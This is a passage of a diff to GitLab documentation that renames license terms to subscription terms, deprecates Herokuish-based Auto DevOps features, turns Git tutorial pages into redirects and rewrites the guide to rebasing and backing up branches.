@@ billable user, with the following exceptions: The number of _maximum users_ reflects the highest number of billable users for the current license period. -#### Users over license +#### Users over subscription -The number of _users over license_ shows how many users are in excess of the number allowed by the license. This number reflects the current license period. +The number of _users over subscription_ shows how many users are in excess of the number allowed by the subscription. This number reflects the current subscription period. For example, if: -- The license allows 100 users and +- The subscription allows 100 users and - **Maximum users** is 150, Then this value would be 50. If the **Maximum users** value is less than or equal to 100, then this value is 0. -A trial license always displays zero for **Users over license**. +A trial license always displays zero for **Users over subscription**. If you add more users to your GitLab instance than you are licensed for, payment for the additional users is due [at the time of renewal](../quarterly_reconciliation.md). @@ -110,6 +110,7 @@ The user must not be assigned any other role, anywhere in the instance. [a set of permissions](../../user/permissions.md#project-members-permissions). - If your project is public, all users, including those with the Guest role can access your project. +- A user's highest assigned role is updated asynchronously and may take some time to update. NOTE: If a user creates a project, they are assigned the Maintainer or Owner role. @@ -129,7 +130,7 @@ GitLab has several features which can help you manage the number of users: - Enable the [**Require administrator approval for new sign ups**](../../user/admin_area/settings/sign_up_restrictions.md#require-administrator-approval-for-new-sign-ups) option. -- Enable `block_auto_created_users` for new sign-ups via [LDAP](../../administration/auth/ldap/index.md#basic-configuration-settings) or [OmniAuth](../../integration/omniauth.md#configure-initial-settings). +- Enable `block_auto_created_users` for new sign-ups via [LDAP](../../administration/auth/ldap/index.md#basic-configuration-settings) or [OmniAuth](../../integration/omniauth.md#configure-common-settings). - Enable the [User cap](../../user/admin_area/settings/sign_up_restrictions.md#user-cap) option. **Available in GitLab 13.7 and later**. - [Disable new sign-ups](../../user/admin_area/settings/sign_up_restrictions.md), and instead manage new @@ -269,7 +270,7 @@ It also displays the following information: | Users in License | The number of users you've paid for in the current license loaded on the system. The number does not change unless you [add seats](#add-seats-to-a-subscription) during your current subscription period. | | Billable users | The daily count of billable users on your system. The count may change as you block, deactivate, or add users to your instance. | | Maximum users | The highest number of billable users on your system during the term of the loaded license. | -| Users over license | Calculated as `Maximum users` - `Users in License` for the current license term. This number incurs a retroactive charge that must be paid before renewal. | +| Users over subscription | Calculated as `Maximum users` - `Users in subscription` for the current license term. This number incurs a retroactive charge that must be paid before renewal. | ## Export your license usage @@ -279,7 +280,7 @@ If you are an administrator, you can export your license usage into a CSV: 1. On the top bar, select **Main menu > Admin**. 1. On the left sidebar, select **Subscription**. -1. In the top right, select **Export license usage file**. +1. In the upper right, select **Export license usage file**. This file contains the information GitLab uses to manually process quarterly reconciliations or renewals. If your instance is firewalled or an offline environment, you must provide GitLab with this information. @@ -327,18 +328,18 @@ It's important to regularly review your user accounts, because: if you renew for too many users. - Stale user accounts can be a security risk. A regular review helps reduce this risk. -#### Users over License +#### Users over subscription -A GitLab subscription is valid for a specific number of seats. The number of users over license -is the number of _Maximum users_ that exceed the _Users in License_ for the current license term. +A GitLab subscription is valid for a specific number of seats. The number of users over subscription +is the number of _maximum users_ that exceed the users in subscription for the current subscription term. You must pay for this number of users either before renewal, or at the time of renewal. This is -known as the _true up_ process. +called the _true up_ process. -To view the number of _users over license_ go to the **Admin Area**. +To view the number of users over subscription go to the **Admin Area**. -##### Users over license example +##### Users over subscription example -You purchase a license for 10 users. +You purchase a subscription for 10 users. | Event | Billable users | Maximum users | |:---------------------------------------------------|:-----------------|:--------------| @@ -346,7 +347,7 @@ You purchase a license for 10 users. | Two new users join. | 12 | 12 | | Three users leave and their accounts are removed. | 9 | 12 | -Users over license = 12 - 10 (Maximum users - users in license) +Users over subscription = 12 - 10 (Maximum users - users in license) ### Add seats to a subscription @@ -387,7 +388,7 @@ You can hover your mouse on the **Renew** button to see the date when it will be If you need to change your [GitLab tier](https://about.gitlab.com/pricing/), contact our sales team with [the sales contact form](https://about.gitlab.com/sales/) for assistance as this can't be done in the Customers Portal. 1. In the first box, enter the total number of user licenses you'll need for the upcoming year. Be sure this number is at least **equal to, or greater than** the number of billable users in the system at the time of performing the renewal. -1. Enter the number of [users over license](#users-over-license) in the second box for the user overage incurred in your previous subscription term. +1. Enter the number of [users over subscription](#users-over-subscription) in the second box for the user overage incurred in your previous subscription term. 1. Review your renewal details and complete the payment process. 1. An activation code for the renewal term is available on the [Manage Purchases](https://customers.gitlab.com/subscriptions) page on the relevant subscription card. Select **Copy activation code** to get a copy. 1. [Add the activation code](../../user/admin_area/license.md) to your instance. @@ -397,9 +398,9 @@ An invoice is generated for the renewal and available for viewing or download on ### Automatic subscription renewal When a subscription is set to auto-renew, it renews automatically on the -expiration date without a gap in available service. Subscriptions purchased through Customers Portal are set to auto-renew by default. +expiration date (at midnight UTC) without a gap in available service. Subscriptions purchased through Customers Portal are set to auto-renew by default. The number of user licenses is adjusted to fit the [number of billable users in your instance](#view-user-totals) at the time of renewal. -Before auto-renewal you should [prepare for the renewal](#prepare-for-renewal-by-reviewing-your-account). To auto-renew your subscription, +Before auto-renewal you should [prepare for the renewal](#prepare-for-renewal-by-reviewing-your-account) at least 2 days before the renewal date, so that your changes synchronize to GitLab in time for your renewal. To auto-renew your subscription, you must have enabled the [synchronization of subscription data](#subscription-data-synchronization). You can view and download your renewal invoice on the Customers Portal @@ -477,10 +478,8 @@ If you have a license file or key, you can activate it [in the Admin Area](../.. ## Contact Support -Learn more about: - -- The tiers of [GitLab Support](https://about.gitlab.com/support/). -- [Submit a request via the Support Portal](https://support.gitlab.com/hc/en-us/requests/new). +- See the tiers of [GitLab Support](https://about.gitlab.com/support/). +- [Submit a request](https://support.gitlab.com/hc/en-us/requests/new) through the Support Portal. We also encourage all users to search our project trackers for known issues and existing feature requests in the [GitLab](https://gitlab.com/gitlab-org/gitlab/-/issues/) project. @@ -492,7 +491,7 @@ and for communicating directly with the relevant GitLab team members. ### Subscription data fails to synchronize -If the synchronization job is not working, ensure you allow network traffic from your GitLab +If the synchronization job is not working, ensure you allow network traffic from your GitLab instance to IP addresses `172.64.146.11:443` and `104.18.41.245:443` (`customers.gitlab.com`). ### Credit card declined diff --git a/doc/topics/application_development_platform/index.md b/doc/topics/application_development_platform/index.md deleted file mode 100644 index 524ba2aaf6d..00000000000 --- a/doc/topics/application_development_platform/index.md +++ /dev/null @@ -1,11 +0,0 @@ ---- -redirect_to: '../../user/infrastructure/index.md' -remove_date: '2022-12-08' ---- - -This document was moved to [another location](../../user/infrastructure/index.md). - -<!-- This redirect file can be deleted after <2022-12-08>. --> -<!-- Redirects that point to other docs in the same project expire in three months. --> -<!-- Redirects that point to docs in a different project or site (link is not relative and starts with `https:`) expire in one year. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/redirects.html --> diff --git a/doc/topics/authentication/index.md b/doc/topics/authentication/index.md index 77a83b10df9..c1d0a69e1f4 100644 --- a/doc/topics/authentication/index.md +++ b/doc/topics/authentication/index.md @@ -29,7 +29,6 @@ This page gathers all the resources for the topic **Authentication** within GitL - [Debugging LDAP](https://about.gitlab.com/handbook/support/workflows/debugging_ldap.html) - **Integrations:** - [OmniAuth](../../integration/omniauth.md) - - [Authentiq OmniAuth Provider](../../administration/auth/authentiq.md#authentiq-omniauth-provider) - [Atlassian Crowd OmniAuth Provider](../../administration/auth/crowd.md) - [CAS OmniAuth Provider](../../integration/cas.md) - [SAML OmniAuth Provider](../../integration/saml.md) @@ -39,11 +38,11 @@ This page gathers all the resources for the topic **Authentication** within GitL ## API -- [OAuth 2 Tokens](../../api/index.md#oauth2-tokens) -- [Personal access tokens](../../api/index.md#personalprojectgroup-access-tokens) -- [Project access tokens](../../api/index.md#personalprojectgroup-access-tokens) -- [Group access tokens](../../api/index.md#personalprojectgroup-access-tokens) -- [Impersonation tokens](../../api/index.md#impersonation-tokens) +- [OAuth 2 Tokens](../../api/rest/index.md#oauth2-tokens) +- [Personal access tokens](../../api/rest/index.md#personalprojectgroup-access-tokens) +- [Project access tokens](../../api/rest/index.md#personalprojectgroup-access-tokens) +- [Group access tokens](../../api/rest/index.md#personalprojectgroup-access-tokens) +- [Impersonation tokens](../../api/rest/index.md#impersonation-tokens) - [OAuth 2.0 identity provider API](../../api/oauth2.md) ## Third-party resources diff --git a/doc/topics/autodevops/cicd_variables.md b/doc/topics/autodevops/cicd_variables.md index 169d34aad77..b22b4677f24 100644 --- a/doc/topics/autodevops/cicd_variables.md +++ b/doc/topics/autodevops/cicd_variables.md @@ -94,7 +94,6 @@ Use these variables to disable CI/CD jobs. | `bandit-sast` | `SAST_DISABLED` | | If the variable is present, the job isn't created. | | `brakeman-sast` | `SAST_DISABLED` | | If the variable is present, the job isn't created. | | `canary` | `CANARY_ENABLED` | | This manual job is created if the variable is present. | -| `cluster_image_scanning` | `CLUSTER_IMAGE_SCANNING_DISABLED` | | If the variable is present, the job isn't created. | | `code_intelligence` | `CODE_INTELLIGENCE_DISABLED` | From GitLab 13.6 | If the variable is present, the job isn't created. | | `code_quality` | `CODE_QUALITY_DISABLED` | | If the variable is present, the job isn't created. | | `container_scanning` | `CONTAINER_SCANNING_DISABLED` | | If the variable is present, the job isn't created. | diff --git a/doc/topics/autodevops/cloud_deployments/auto_devops_with_gke.md b/doc/topics/autodevops/cloud_deployments/auto_devops_with_gke.md index 78c51572973..9bd1d30e1b1 100644 --- a/doc/topics/autodevops/cloud_deployments/auto_devops_with_gke.md +++ b/doc/topics/autodevops/cloud_deployments/auto_devops_with_gke.md @@ -172,7 +172,7 @@ The jobs are separated into stages: are allowed to fail in the test stage: - The `test` job runs unit and integration tests by detecting the language and - framework ([Auto Test](../stages.md#auto-test)) + framework ([Auto Test](../stages.md#auto-test-deprecated)) - The `code_quality` job checks the code quality and is allowed to fail ([Auto Code Quality](../stages.md#auto-code-quality)) - The `container_scanning` job checks the Docker container if it has any @@ -188,7 +188,7 @@ The jobs are separated into stages: ([Auto License Compliance](../stages.md#auto-license-compliance)) - **Review** - Pipelines on the default branch include this stage with a `dast_environment_deploy` job. - To learn more, see [Dynamic Application Security Testing (DAST)](../../../user/application_security/dast/index.md). + For more information, see [Dynamic Application Security Testing (DAST)](../../../user/application_security/dast/index.md). - **Production** - After the tests and checks finish, the application deploys in Kubernetes ([Auto Deploy](../stages.md#auto-deploy)). diff --git a/doc/topics/autodevops/customize.md b/doc/topics/autodevops/customize.md index 776112d6303..b8ea242df1a 100644 --- a/doc/topics/autodevops/customize.md +++ b/doc/topics/autodevops/customize.md @@ -52,7 +52,13 @@ Specify either: - The CI/CD variable `BUILDPACK_URL` with any of [`pack`'s URI specification formats](https://buildpacks.io/docs/app-developer-guide/specify-buildpacks/). - A [`project.toml` project descriptor](https://buildpacks.io/docs/app-developer-guide/using-project-descriptor/) with the buildpacks you would like to include. -### Customize buildpacks with Herokuish +<!--- start_remove The following content will be removed on remove_date: '2024-08-22' --> + +### Customize buildpacks with Herokuish (deprecated) + +WARNING: +Support for Herokuish was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/108234) in GitLab 15.8, +and is planned for removal in 17.0. Use [Cloud Native Buildpacks](stages.md#moving-from-herokuish-to-cloud-native-buildpacks) instead. Specify either: @@ -69,6 +75,8 @@ reference: - The branch `mybranch`: `https://github.com/heroku/heroku-buildpack-ruby.git#mybranch`. - The commit SHA `f97d8a8ab49`: `https://github.com/heroku/heroku-buildpack-ruby.git#f97d8a8ab49`. +<!--- end_remove --> + ### Multiple buildpacks Because Auto Test cannot use the `.buildpacks` file, Auto DevOps does diff --git a/doc/topics/autodevops/index.md b/doc/topics/autodevops/index.md index d16229b525f..588be855659 100644 --- a/doc/topics/autodevops/index.md +++ b/doc/topics/autodevops/index.md @@ -32,7 +32,7 @@ Auto DevOps supports development during each of the [DevOps stages](stages.md). |---------|-------------| | Build | [Auto Build](stages.md#auto-build) | | Build | [Auto Dependency Scanning](stages.md#auto-dependency-scanning) | -| Test | [Auto Test](stages.md#auto-test) | +| Test | [Auto Test](stages.md#auto-test-deprecated) | | Test | [Auto Browser Performance Testing](stages.md#auto-browser-performance-testing) | | Test | [Auto Code Intelligence](stages.md#auto-code-intelligence) | | Test | [Auto Code Quality](stages.md#auto-code-quality) | diff --git a/doc/topics/autodevops/requirements.md b/doc/topics/autodevops/requirements.md index f5e06843e60..a409c6f1520 100644 --- a/doc/topics/autodevops/requirements.md +++ b/doc/topics/autodevops/requirements.md @@ -139,7 +139,7 @@ To make full use of Auto DevOps with Kubernetes, you need: [Docker Machine](https://docs.gitlab.com/runner/executors/docker_machine.html). Runners should be registered as [shared runners](../../ci/runners/runners_scope.md#shared-runners) - for the entire GitLab instance, or [specific runners](../../ci/runners/runners_scope.md#specific-runners) + for the entire GitLab instance, or [project runners](../../ci/runners/runners_scope.md#project-runners) that are assigned to specific projects. - **Prometheus** (for [Auto Monitoring](stages.md#auto-monitoring)) @@ -152,7 +152,7 @@ To make full use of Auto DevOps with Kubernetes, you need: The [Prometheus integration](../../user/project/integrations/prometheus.md) integration must be activated for the project, or activated at the group or instance level. - Learn more about [Project integration management](../../user/admin_area/settings/project_integration_management.md). + For more information, see [Project integration management](../../user/admin_area/settings/project_integration_management.md). To get response metrics (in addition to system metrics), you must [configure Prometheus to monitor NGINX](../../user/project/integrations/prometheus_library/nginx_ingress.md#configuring-nginx-ingress-monitoring). diff --git a/doc/topics/autodevops/stages.md b/doc/topics/autodevops/stages.md index aba0b2d7fae..0c5c87cdf0f 100644 --- a/doc/topics/autodevops/stages.md +++ b/doc/topics/autodevops/stages.md @@ -63,7 +63,7 @@ For the requirements of other languages and frameworks, read the NOTE: Auto Test still uses Herokuish, as test suite detection is not yet part of the Cloud Native Buildpack specification. For more information, see -[this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/212689). +[issue 212689](https://gitlab.com/gitlab-org/gitlab/-/issues/212689). #### Mount volumes into the build container @@ -89,10 +89,16 @@ buildjob: Read more about defining volumes in the [`pack build` documentation](https://buildpacks.io/docs/tools/pack/cli/pack_build/). -### Auto Build using Herokuish +<!--- start_remove The following content will be removed on remove_date: '2024-08-22' --> + +### Auto Build using Herokuish (deprecated) > [Replaced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/63351) with Cloud Native Buildpacks in GitLab 14.0. +WARNING: +Support for Herokuish was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/108234) in GitLab 15.8, +and is planned for removal in 17.0. Use [Cloud Native Buildpacks](#moving-from-herokuish-to-cloud-native-buildpacks) instead. + Prior to GitLab 14.0, [Herokuish](https://github.com/gliderlabs/herokuish) was the default build method for projects without a `Dockerfile`. Herokuish can still be used by setting the CI/CD variable `AUTO_DEVOPS_BUILD_IMAGE_CNB_ENABLED` @@ -103,6 +109,8 @@ If Auto Build fails despite the project meeting the buildpack requirements, set a project CI/CD variable `TRACE=true` to enable verbose logging, which may help you troubleshoot. +<!--- end_remove --> + ### Moving from Herokuish to Cloud Native Buildpacks Builds using Cloud Native Buildpacks support the same options as builds using @@ -118,7 +126,15 @@ Herokuish, with the following caveats: Instead, custom commands should be prefixed with `/cnb/lifecycle/launcher` to receive the correct execution environment. -## Auto Test +<!--- start_remove The following content will be removed on remove_date: '2024-08-22' --> + +## Auto Test (deprecated) + +WARNING: +Support for Herokuish was +[deprecated](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/108234) +in GitLab 15.8, and is planned for removal in 17.0. Because Auto Test uses +Herokuish, Auto Test is also deprecated. Auto Test runs the appropriate tests for your application using [Herokuish](https://github.com/gliderlabs/herokuish) and @@ -140,10 +156,11 @@ Cloud Native Buildpacks, and only buildpacks that implement the [Testpack API](https://devcenter.heroku.com/articles/testpack-api) are supported. <!-- vale gitlab.Spelling = YES --> +<!--- end_remove --> ### Currently supported languages -Note that not all buildpacks support Auto Test yet, as it's a relatively new +Not all buildpacks support Auto Test yet, as it's a relatively new enhancement. All of Heroku's [officially supported languages](https://devcenter.heroku.com/articles/heroku-ci#supported-languages) support Auto Test. The languages supported by Heroku's Herokuish buildpacks all @@ -193,8 +210,8 @@ After creating the report, it's uploaded as an artifact which you can later download and check out. The merge request widget also displays any security warnings on [Ultimate](https://about.gitlab.com/pricing/) licenses. -To learn more about [how SAST works](../../user/application_security/sast/index.md), -see the documentation. +For more information, see +[Static Application Security Testing (SAST)](../../user/application_security/sast/index.md). ## Auto Secret Detection @@ -208,7 +225,7 @@ After creating the report, it's uploaded as an artifact which you can later download and evaluate. The merge request widget also displays any security warnings on [Ultimate](https://about.gitlab.com/pricing/) licenses. -To learn more, see [Secret Detection](../../user/application_security/secret_detection/index.md). +For more information, see [Secret Detection](../../user/application_security/secret_detection/index.md). ## Auto Dependency Scanning **(ULTIMATE)** @@ -220,9 +237,8 @@ The Auto Dependency Scanning stage is skipped on licenses other than After creating the report, it's uploaded as an artifact which you can later download and check out. The merge request widget displays any security warnings detected, -To learn more about -[Dependency Scanning](../../user/application_security/dependency_scanning/index.md), -see the documentation. +For more information, see +[Dependency Scanning](../../user/application_security/dependency_scanning/index.md). ## Auto License Compliance **(ULTIMATE)** @@ -236,9 +252,8 @@ is skipped on licenses other than [Ultimate](https://about.gitlab.com/pricing/). After creating the report, it's uploaded as an artifact which you can later download and check out. The merge request displays any detected licenses. -To learn more about -[License Compliance](../../user/compliance/license_compliance/index.md), see the -documentation. +For more information, see +[License Compliance](../../user/compliance/license_compliance/index.md). ## Auto Container Scanning @@ -249,9 +264,8 @@ skipped on licenses other than [Ultimate](https://about.gitlab.com/pricing/). After creating the report, it's uploaded as an artifact which you can later download and check out. The merge request displays any detected security issues. -To learn more about -[Container Scanning](../../user/application_security/container_scanning/index.md), -see the documentation. +For more information, see +[Container Scanning](../../user/application_security/container_scanning/index.md). ## Auto Review Apps @@ -306,9 +320,8 @@ After the DAST scan completes, any security warnings are displayed on the [Security Dashboard](../../user/application_security/security_dashboard/index.md) and the merge request widget. -To learn more about -[Dynamic Application Security Testing](../../user/application_security/dast/index.md), -see the documentation. +For more information, see +[Dynamic Application Security Testing (DAST)](../../user/application_security/dast/index.md). ### Overriding the DAST target @@ -485,9 +498,9 @@ as a Helm post-install hook. As some applications can't run without a successful database initialization step, GitLab deploys the first release without the application deployment, and only the database initialization step. After the database initialization completes, GitLab deploys a second release with the application -deployment as normal. +deployment as standard. -Note that a post-install hook means that if any deploy succeeds, +A post-install hook means that if any deploy succeeds, `DB_INITIALIZE` isn't processed thereafter. If present, `DB_MIGRATE` is run as a shell command within an application pod as @@ -502,7 +515,7 @@ For example, in a Rails application in an image built with Unless your repository contains a `Dockerfile`, your image is built with Cloud Native Buildpacks, and you must prefix commands run in these images with `/cnb/lifecycle/launcher`, (or `/bin/herokuish procfile exec` when -using [Herokuish](#auto-build-using-herokuish)) +using [Herokuish](#auto-build-using-herokuish-deprecated)) to replicate the environment where your application runs. diff --git a/doc/topics/build_your_application.md b/doc/topics/build_your_application.md index 35f9db4d087..340cb7a1db8 100644 --- a/doc/topics/build_your_application.md +++ b/doc/topics/build_your_application.md @@ -12,5 +12,6 @@ code, and use CI/CD to generate your application. Include packages in your app a - [Repositories](../user/project/repository/index.md) - [Merge requests](../user/project/merge_requests/index.md) - [CI/CD](../ci/index.md) +- [Runners](https://docs.gitlab.com/runner/) +- [GitLab Pages](../user/project/pages/index.md) - [Packages and registries](../user/packages/index.md) -- [Application infrastructure](../user/infrastructure/index.md) diff --git a/doc/topics/git/feature_branch_development.md b/doc/topics/git/feature_branch_development.md index d53c8eae835..4125d8e8fdb 100644 --- a/doc/topics/git/feature_branch_development.md +++ b/doc/topics/git/feature_branch_development.md @@ -1,108 +1,11 @@ --- -stage: Create -group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments" -type: how-tos +redirect_to: 'index.md' +remove_date: '2023-03-31' --- -# Develop on a feature branch **(FREE)** +This document was moved to [another location](index.md). -GitLab values encourage the use of [Minimal Viable Change (MVC)](https://about.gitlab.com/handbook/values/#minimal-viable-change-mvc). -However, viable changes are not always small. In such cases, it can help to set up a dedicated feature branch. -People can contribute MRs to that feature branch, without affecting the functionality of the [default branch](../../user/project/repository/branches/default.md). - -Once work on the development branch is complete, then the feature branch can be finally merged into the default branch. - -GitLab frequently implements this process whenever there is an MVC that requires multiple MRs. - -## Use case: GitLab release posts - -This section describes the use case with GitLab [release posts](https://about.gitlab.com/handbook/marketing/blog/release-posts/). -Dozens of GitLab team members contribute to each monthly release post. -In such cases, it may be more efficient to submit an MR on the release post feature branch instead of the [default branch](../../user/project/repository/branches/default.md). - -In this case, the feature branch would be `release-X-Y`. Assuming the `release-X-Y` branch already exists, you can set up an MR against that branch, with the following steps: - -1. Navigate to the [default branch](../../user/project/repository/branches/default.md) (here, `main`): - - ```shell - git checkout main - ``` - -1. Make sure you have the latest version of your repository: - - ```shell - git fetch - git pull - ``` - -1. Check out the feature branch: - - ```shell - git checkout release-x-y - ``` - -1. Create a new branch (`test-branch`) against the feature branch (`release-x-y`): - - ```shell - git checkout -b test-branch release-x-y - ``` - - You should now be on a branch named `test-branch`. - -1. Make desired changes on the `test-branch`. -1. Add your changes, commit, and push to the `test-branch`: - - ```shell - git add . - ``` - -1. Commit your changes: - - ```shell - git commit -m "Some good reason" - ``` - -1. Push your changes to the repository: - - ```shell - git push --set-upstream origin test-branch - ``` - -1. Navigate to the URL for your repository. In this case, the repository is `www-gitlab-com`, available at `https://gitlab.com/gitlab-com/www-gitlab-com`. - - If needed, sign in to GitLab. You should then see an option to **Create merge request**: - -  - -1. After you select **Create merge request**, an option to **Change branches** displays. Select that option. - -1. In the **New merge request** screen, you can now select the **Source** and **Target** branches. -In the screenshot shown, -we have selected `test-branch` as the source, and `release-13-0` as the target. - -  - -1. Once you've selected the Source and Target branches, select **Compare branches and continue**. - You should see an entry similar to: - - ```plaintext - New merge request - - From test-branch into release-13-0 - ``` - - An entry like this confirms your merge request's destination. - -1. Make any additional changes in the **New merge request** screen, and select **Create merge request**. -1. In the new merge request, look for **Request to merge**. An entry similar to this displays: - - ```plaintext - Request to merge test-branch into release-13-0 - ``` - - That confirms you've set up the MR to merge into the specified branch, not the [default branch](../../user/project/repository/branches/default.md). - -1. Proceed with the change as you would with any other MR. -1. When your MR is approved, and an appropriate user merges that MR, you can rest assured that your work is incorporated directly into the feature branch. -When the feature branch is ready, it can then be merged into the [default branch](../../user/project/repository/branches/default.md). +<!-- This redirect file can be deleted after <2023-03-31>. --> +<!-- Redirects that point to other docs in the same project expire in three months. --> +<!-- Redirects that point to docs in a different project or site (for example, link is not relative and starts with `https:`) expire in one year. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/redirects.html --> diff --git a/doc/topics/git/getting_started.md b/doc/topics/git/getting_started.md index a843d44aa8c..790fd3aa6c0 100644 --- a/doc/topics/git/getting_started.md +++ b/doc/topics/git/getting_started.md @@ -1,92 +1,11 @@ --- -stage: Create -group: Source Code -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments -comments: false +redirect_to: '../../tutorials/make_your_first_git_commit.md' +remove_date: '2023-04-23' --- -# Getting started **(FREE)** +This document was moved to [another location](../../tutorials/make_your_first_git_commit.md). -## Instantiating Repositories - -- Create a new repository by instantiating it through: - - ```shell - git init - ``` - -- Copy an existing project by cloning the repository through: - - ```shell - git clone <url> - ``` - -NOTE: -You can also clone GitLab projects with the -[GitLab Workflow VS Code extension](../../user/project/repository/vscode.md). -To learn more, read about the extension's -[`Git: Clone` command](https://marketplace.visualstudio.com/items?itemName=GitLab.gitlab-workflow#clone-gitlab-projects). - -## Central Repositories - -- To instantiate a central repository a `--bare` flag is required. -- Bare repositories don't allow file editing or committing changes. -- Create a bare repository with: - - ```shell - git init --bare project-name.git - ``` - -## Instantiate workflow with clone - -1. Create a project in your user namespace. - - Choose to import from **Any Repository by URL** and use <https://gitlab.com/gitlab-org/training-examples.git>. -1. Create a '`Workspace`' directory in your home directory. -1. Clone the '`training-examples`' project. - -```shell -mkdir ~/workspace -cd ~/workspace - -git clone git@gitlab.example.com:<username>/training-examples.git -cd training-examples -``` - -## Git concepts - -**Untracked files** - -New files that Git has not been told to track previously. - -**Working area** - -Files that have been modified but are not committed. - -**Staging area** - -Modified files that have been marked to go in the next commit. - -## Committing Workflow - -1. Edit '`edit_this_file.rb`' in '`training-examples`' -1. See it listed as a changed file (working area) -1. View the differences -1. Stage the file -1. Commit -1. Push the commit to the remote -1. View the Git log - -```shell -# Edit `edit_this_file.rb` -git status -git diff -git add <file> -git commit -m 'My change' -git push origin master -git log -``` - -## Note - -- `git fetch` vs `git pull` -- Pull is `git fetch` + `git merge` +<!-- This redirect file can be deleted after <2023-04-23>. --> +<!-- Redirects that point to other docs in the same project expire in three months. --> +<!-- Redirects that point to docs in a different project or site (for example, link is not relative and starts with `https:`) expire in one year. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/redirects.html --> diff --git a/doc/topics/git/git_add.md b/doc/topics/git/git_add.md index 71f695d1657..722701dbb49 100644 --- a/doc/topics/git/git_add.md +++ b/doc/topics/git/git_add.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w comments: false --- -# Git Add **(FREE)** +# Git add **(FREE)** Adds content to the index or staging area. diff --git a/doc/topics/git/git_rebase.md b/doc/topics/git/git_rebase.md index 2f12201fb45..ec28d0b6431 100644 --- a/doc/topics/git/git_rebase.md +++ b/doc/topics/git/git_rebase.md @@ -3,132 +3,98 @@ stage: Create group: Source Code info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments" type: concepts, howto -description: "Introduction to Git rebase and force-push, methods to resolve merge conflicts through the command line." +description: "Introduction to Git rebase and force push, methods to resolve merge conflicts through the command line." --- -# Introduction to Git rebase and force-push **(FREE)** +# Git rebase and force push **(FREE)** -This guide helps you to get started with rebasing, force-pushing, and fixing +This guide helps you to get started with rebases, force pushes, and fixing [merge conflicts](../../user/project/merge_requests/conflicts.md) locally. - -Before diving into this document, make sure you are familiar with using +Before you attempt a force push or a rebase, make sure you are familiar with [Git through the command line](../../gitlab-basics/start-using-git.md). -## Git rebase - -[Rebasing](https://git-scm.com/docs/git-rebase) is a very common operation in -Git, and has these options: - -- [Regular rebase](#regular-rebase). -- [Interactive rebase](#interactive-rebase). - -### Before rebasing - WARNING: `git rebase` rewrites the commit history. It **can be harmful** to do it in shared branches. It can cause complex and hard to resolve [merge conflicts](../../user/project/merge_requests/conflicts.md). In these cases, instead of rebasing your branch against the default branch, -consider pulling it instead (`git pull origin master`). It has a similar -effect without compromising the work of your contributors. - -It's safer to back up your branch before rebasing to make sure you don't lose -any changes. For example, consider a [feature branch](../../gitlab-basics/start-using-git.md#branches) -called `my-feature-branch`: - -1. Open your feature branch in the terminal: - - ```shell - git checkout my-feature-branch - ``` - -1. Checkout a new branch from it: - - ```shell - git checkout -b my-feature-branch-backup - ``` - -1. Go back to your original branch: - - ```shell - git checkout my-feature-branch - ``` +consider pulling it instead (`git pull origin master`). Pulling has similar +effects with less risk compromising the work of your contributors. -Now you can safely rebase it. If anything goes wrong, you can recover your -changes by resetting `my-feature-branch` against `my-feature-branch-backup`: +In Git, a rebase updates your feature branch with the contents of another branch. +This step is important for Git-based development strategies. Use a rebase to confirm +that your branch's changes don't conflict with any changes added to your target branch +_after_ you created your feature branch. -1. Make sure you're in the correct branch (`my-feature-branch`): - - ```shell - git checkout my-feature-branch - ``` +When you rebase: -1. Reset it against `my-feature-branch-backup`: +1. Git imports all the commits submitted to your target branch _after_ you initially created + your feature branch from it. +1. Git stacks the commits you have in your feature branch on top of all + the commits it imported from that branch: - ```shell - git reset --hard my-feature-branch-backup - ``` + -If you added changes to `my-feature-branch` after creating the backup branch, -you lose them when resetting. +While most rebases are performed against `main`, you can rebase against any other +branch, such as `release-15-3`. You can also specify a different remote repository +(such as `upstream`) instead of `origin`. -### Regular rebase +## Back up a branch before rebase -With a regular rebase you can update your feature branch with the default -branch (or any other branch). -This step is important for Git-based development strategies. You can -ensure your new changes don't break any -existing changes added to the target branch _after_ you created your feature -branch. +To back up a branch before taking any destructive action, like a rebase or force push: -For example, to update your branch `my-feature-branch` with your -[default branch](../../user/project/repository/branches/default.md) (here, using `main`): +1. Open your feature branch in the terminal: `git checkout my-feature` +1. Check out a new branch from it: `git checkout -b my-feature-backup` + Any changes added to `my-feature` after this point are lost + if you restore from the backup branch. +1. Change back to your original branch: `git checkout my-feature` -1. Fetch the latest changes from `main`: +Your branch is backed up, and you can try a rebase or a force push. +If anything goes wrong, restore your branch from its backup: - ```shell - git fetch origin main - ``` +1. Make sure you're in the correct branch (`my-feature`): `git checkout my-feature` +1. Reset it against `my-feature-backup`: `git reset --hard my-feature-backup` -1. Checkout your feature branch: +## Rebase a branch - ```shell - git checkout my-feature-branch - ``` +[Rebases](https://git-scm.com/docs/git-rebase) are very common operations in +Git, and have these options: -1. Rebase it against `main`: +- **Regular rebases.** This type of rebase can be done through the + [command line](#regular-rebase) and [the GitLab UI](#from-the-gitlab-ui). +- [**Interactive rebases**](#interactive-rebase) give more flexibility by + enabling you to specify how to handle each commit. Interactive rebases + must be done on the command line. - ```shell - git rebase origin/main - ``` +Any user who rebases a branch is treated as having added commits to that branch. +If a project is configured to +[**prevent approvals by users who add commits**](../../user/project/merge_requests/approvals/settings.md#prevent-approvals-by-users-who-add-commits), +a user who rebases a branch cannot also approve its merge request. -1. [Force-push](#force-push) to your branch. +### Regular rebase -When you rebase: +Standard rebases replay the previous commits on a branch without changes, stopping +only if merge conflicts occur. -1. Git imports all the commits submitted to `main` _after_ the - moment you created your feature branch until the present moment. -1. Git puts the commits you have in your feature branch on top of all - the commits imported from `main`: +Prerequisites: - +- You must have permission to force push branches. -You can replace `main` with any other branch you want to rebase against, for -example, `release-10-3`. You can also replace `origin` with other remote -repositories, for example, 